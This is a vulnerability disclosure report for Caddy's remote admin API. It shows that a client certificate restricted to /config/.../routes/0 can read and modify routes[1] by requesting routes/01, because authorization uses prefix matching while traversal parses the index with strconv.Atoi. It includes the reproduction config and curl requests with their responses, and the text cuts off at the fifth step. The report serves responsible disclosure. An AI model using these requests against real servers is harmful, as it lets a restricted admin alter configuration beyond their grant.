Caddy: Remote Admin Authorization Bypass in /config API via Array Index Normalization
This report is not about a normal textual prefix-expansion case.
The issue here is that the authorization layer and the /config traversal layer do not agree on what object the path refers to.
In this case, a path authorized for one config object is accepted, but then resolves to a different config object during traversal.
## AI Disclosure
The reporter used an LLM to help review the code, reason about the behavior, and help draft this report. The reporter manually reproduced and validated the issue locally, confirmed the relevant source paths, and captured the requests and responses below.
## Summary
A remote admin client certificate restricted to the following path:
/config/apps/http/servers/srv/routes/0
can still read and modify a different array element by requesting:/config/apps/http/servers/srv/routes/01
This happens because:
- the authorization layer uses string prefix matching
- the /config traversal layer parses array indices numerically using strconv.Atoi()
So:
- authorization sees /.../01 as matching /.../0
- traversal resolves 01 to numeric index 1
- the request therefore targets routes[1], not routes[0]
This is not just a prefix-match quirk. It is an authorization-to-object mismatch.
## Why This Is In Scope
This is a security bug in Caddy's own code:
- no browser behavior is involved
- no dependency bug is involved
- no external system compromise is involved
- no third-party software compromise is required
- no unsafe content hosting or file upload is required
This is also not just “an unsafe configuration”.
The configuration explicitly attempts to limit access to one specific path:
/config/apps/http/servers/srv/routes/0
But Caddy enforces a policy that ends up granting access to a different object (routes[1]) because of how traversal interprets the final path component.
In short:
- configured authorization target: routes[0]
- actual accessed object: routes[1]
That difference is caused by Caddy itself.
## Relevant Source Code
Authorization path matching:
- admin.go:719
Authorization config comment:
- admin.go:213
Config traversal with numeric parsing:
- admin.go:1201
- admin.go:1310
## Root Cause
### Authorization layer
for _, allowedPath := range accessPerm.Paths {
if strings.HasPrefix(r.URL.Path, allowedPath) {
pathFound = true
break
}
}### Traversal layer
idx, err = strconv.Atoi(idxStr)
and later:
partInt, err := strconv.Atoi(part)
Because of that:
- allowed path: /config/.../routes/0
- requested path: /config/.../routes/01
- authorization decision: allowed
- actual object selected: routes[1]
## Why This Is Not Just a “Prefix” Case
For a normal path hierarchy, a “subpath” means a child resource of the same authorized object.
For example:
- /config/apps/http
- /config/apps/http/servers
- /config/apps/http/servers/srv/routes/0/handle
Those are genuine deeper descendants.
But this case is different.
Within the /config API, the final path component after /routes/ is not just a text fragment. It is a semantic selector for an array index.
So:
- /routes/0 means routes[0]
- /routes/01 means routes[1]
- /routes/02 means routes[2]
That means /routes/01 is not a child of routes[0] in object semantics. It is a different array element entirely.
So even if prefix matching is documented, this case is different because:
- authorization uses the textual form
- traversal uses the numeric form
- the two refer to different objects
This should be treated as an authorization bug rather than a documented prefix behavior.
## Security Impact
A remote admin identity restricted to one /config array element can:
- read a different array element
- modify a different array element
This breaks least-privilege remote admin policies.
In practice, a delegated certificate that should only be able to inspect or edit one route can instead inspect or edit another route in the same array.
## Affected Product
Tested on:
v2.11.2-3-gdf65455b
Affected area:
- remote admin
- admin.remote.access_control.permissions.paths
- /config API paths containing numeric array indices
The reporter reproduced this on current HEAD.
## Minimal Reproduction Configuration
{
"storage": {
"module": "file_system",
"root": "/tmp/caddy-config-index-storage"
},
"admin": {
"listen": "127.0.0.1:2029",
"identity": {
"identifiers": ["localhost"],
"issuers": [
{ "module": "internal" }
]
},
"remote": {
"listen": "127.0.0.1:2031",
"access_control": [
{
"public_keys": [""],
"permissions": [
{
"methods": ["GET", "PATCH"],
"paths": ["/config/apps/http/servers/srv/routes/0"]
}
]
}
]
}
},
"apps": {
"http": {
"servers": {
"srv": {
"listen": [":9088"],
"routes": [
{
"handle": [
{
"handler": "static_response",
"body": "route zero"
}
]
},
{
"handle": [
{
"handler": "static_response",
"body": "route one"
}
]
}
]
}
}
}
}
}## Commands
### 1. Generate client certificate
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
-subj '/CN=remote-admin-client' \
-keyout client.key \
-out client.crt### 2. Convert to base64 DER
CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"
### 3. Start Caddy
go run ./cmd/caddy run --config ./repro.json
## Specific Minimal Reproduction Steps### Step 1: Read the explicitly authorized object
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/0
Observed result:
< HTTP/1.1 200 OK
{"handle":[{"body":"route zero","handler":"static_response"}]}
### Step 2: Read a different object using a leading-zero index
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/01
Observed result:
< HTTP/1.1 200 OK
{"handle":[{"body":"route one","handler":"static_response"}]}
This shows that a client limited to routes/0 can read routes[1].### Step 3: Confirm that the traversal layer is interpreting the component numerically
curl -vk \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2031/config/apps/http/servers/srv/routes/02
Observed result:
< HTTP/1.1 400 Bad Request
{"error":"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02"}
This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.### Step 4: Modify the unauthorized object
curl -vk \
-X PATCH \
--resolve localhost:2031:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
-H 'Content-Type: application/json' \
--data '{"handle":[{"handler":"static_response","body":"patched route one"}]}' \
https://localhost:2031/config/apps/http/servers/srv/routes/01
Observed result:
< HTTP/1.1 200 OK
### Step 5: Confirm the unauthorized modification
```
curl -vk \